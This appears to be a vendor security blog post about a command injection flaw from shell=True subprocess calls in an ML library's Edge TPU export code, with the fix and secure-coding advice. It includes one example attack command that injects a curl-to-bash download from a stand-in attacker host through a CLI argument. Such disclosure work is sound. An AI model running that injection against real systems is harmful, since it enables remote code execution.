Introduction
In the export.py file of this machine learning library, we discovered a critical command injection vulnerability at line 930. The export_edgetpu() function, responsible for compiling models for Edge TPU deployment, used subprocess.run() with shell=True to execute system commands—a pattern that becomes dangerous when combined with user-controllable input.
The vulnerability existed in how the code checked for the Edge TPU compiler and installed dependencies. At line 930, the code executed:
if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:
This pattern, repeated at line 939 for the sudo check and throughout the installation commands, created multiple injection points where an attacker controlling CLI arguments could break out of the intended command context.
The Vulnerability Explained
The vulnerable code in export_edgetpu() constructed shell commands using string interpolation and executed them with shell=True:
cmd = "edgetpu_compiler --version"
# ...
if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:
# Installation logic
sudo = subprocess.run("sudo --version >/dev/null", shell=True).returncode == 0
for c in (
"curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -",
'echo "deb https://packages.cloud.google.com/apt coral-edgetpu-stable main" | sudo tee /etc/apt/sources.list.d/coral-edgetpu.list',
"sudo apt-get update",
"sudo apt-get install edgetpu-compiler",
):
subprocess.run(c if sudo else c.replace("sudo ", ""), shell=True, check=True)
When shell=True is set, Python passes the command string to /bin/sh -c, which interprets shell metacharacters like ;, |, $(), and backticks. While the cmd variable in this specific snippet is hardcoded, the broader context of export.py accepts user-controllable CLI arguments for model paths and export parameters.
Attack Scenario
An attacker who can influence the model path via CLI could execute arbitrary commands:
python export.py --weights "model.pt; curl attacker.com/shell.sh | bash" --include edgetpu
The semicolon acts as a command separator in the shell. Instead of just processing model.pt, the shell would:
1. Attempt to process model.pt
2. Execute curl attacker.com/shell.sh | bash
This could lead to:
- Remote code execution: Downloading and running malicious scripts
- Data exfiltration: Stealing model weights, credentials, or sensitive data
- System compromise: Installing backdoors or ransomware
- Lateral movement: Using the compromised system to attack internal networks
The vulnerability is particularly severe because this is a Python library—any application importing export.py inherits this vulnerability, potentially exposing production ML pipelines to attack.
The Fix
The fix eliminates shell=True entirely by switching to list-based subprocess calls. Here's the before/after comparison:
Before (Vulnerable)
if subprocess.run(f"{cmd} > /dev/null 2>&1", shell=True).returncode != 0:
# ...
sudo = subprocess.run("sudo --version >/dev/null", shell=True).returncode == 0
After (Secure)
try:
compiler_present = subprocess.run(
cmd.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
).returncode == 0
except FileNotFoundError:
compiler_present = False
if not compiler_present:
# ...
try:
sudo = subprocess.run(
["sudo", "--version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
).returncode == 0
except FileNotFoundError:
sudo = False
Key Changes Explained
-
Replaced
shell=Truewith list arguments: Instead ofsubprocess.run("cmd arg", shell=True), the fix usessubprocess.run(["cmd", "arg"]). When passing a list, Python executes the program directly viaexecve()without invoking a shell, so metacharacters like;are treated as literal characters. -
Replaced shell redirection with Python constants: The shell-specific
> /dev/null 2>&1was replaced withstdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, achieving the same output suppression without shell interpretation. -
Added
FileNotFoundErrorhandling: Withoutshell=True, a missing executable raisesFileNotFoundErrorinstead of returning a non-zero exit code. The fix properly catches this exception. -
Restructured installation commands: The piped curl command was split into separate subprocess calls with explicit data passing via
input=parameter, eliminating the need for shell pipes:
curl_proc = subprocess.run(
["curl", "https://packages.cloud.google.com/apt/doc/apt-key.gpg"],
stdout=subprocess.PIPE, check=True,
)
subprocess.run(s + ["apt-key", "add", "-"], input=curl_proc.stdout, check=True)
Prevention & Best Practices
1. Never Use shell=True with External Input
The golden rule: if any part of your command could be influenced by user input, never use shell=True. Even if you think you've sanitized the input, shell metacharacters are numerous and context-dependent.
2. Always Use List-Based Arguments
# Dangerous
subprocess.run(f"process {user_input}", shell=True)
# Safe
subprocess.run(["process", user_input])
3. Use shlex.split() for Complex Commands
If you must parse a command string into arguments:
import shlex
cmd = "ls -la /home/user"
subprocess.run(shlex.split(cmd)) # ['ls', '-la', '/home/user']
4. Validate and Sanitize Paths
For file paths specifically, use pathlib to resolve and validate:
from pathlib import Path
user_path = Path(user_input).resolve()
if not user_path.is_relative_to(allowed_directory):
raise ValueError("Path traversal attempt detected")
5. Use Static Analysis Tools
Tools like Semgrep, Bandit, and CodeQL can detect shell=True patterns:
# Bandit check
bandit -r . -t B602,B604
Key Takeaways
- The
export_edgetpu()function's use ofshell=Trueat line 930 created a command injection vector that could be exploited via CLI arguments - Replacing f-string commands with list arguments eliminates the shell interpreter entirely, making metacharacter injection impossible
- Shell output redirection (
>/dev/null) must be replaced with Python'ssubprocess.DEVNULLwhen removingshell=True - Piped shell commands require restructuring into separate subprocess calls with explicit stdout/stdin handling
- This vulnerability pattern affects any Python library using subprocess—downstream applications inherit the risk
How Orbis AppSec Detected This
- Source: CLI arguments passed to
export.py, including--weights(model path) and export parameters - Sink:
subprocess.run(..., shell=True)inexport.py:930andexport.py:939 - Missing control: No sanitization of shell metacharacters; direct string interpolation into shell commands
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced all
shell=Truesubprocess calls with list-based arguments that bypass shell interpretation
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability in export.py demonstrates why shell=True should be treated as a code smell in security-conscious applications. The fix—switching to list-based subprocess arguments—is straightforward but requires careful attention to shell-specific features like output redirection and pipes.
For developers working with subprocess in Python: default to list arguments, avoid shell=True unless absolutely necessary, and always consider whether any part of your command could be influenced by external input. When in doubt, remember that the shell is a powerful interpreter designed for convenience, not security.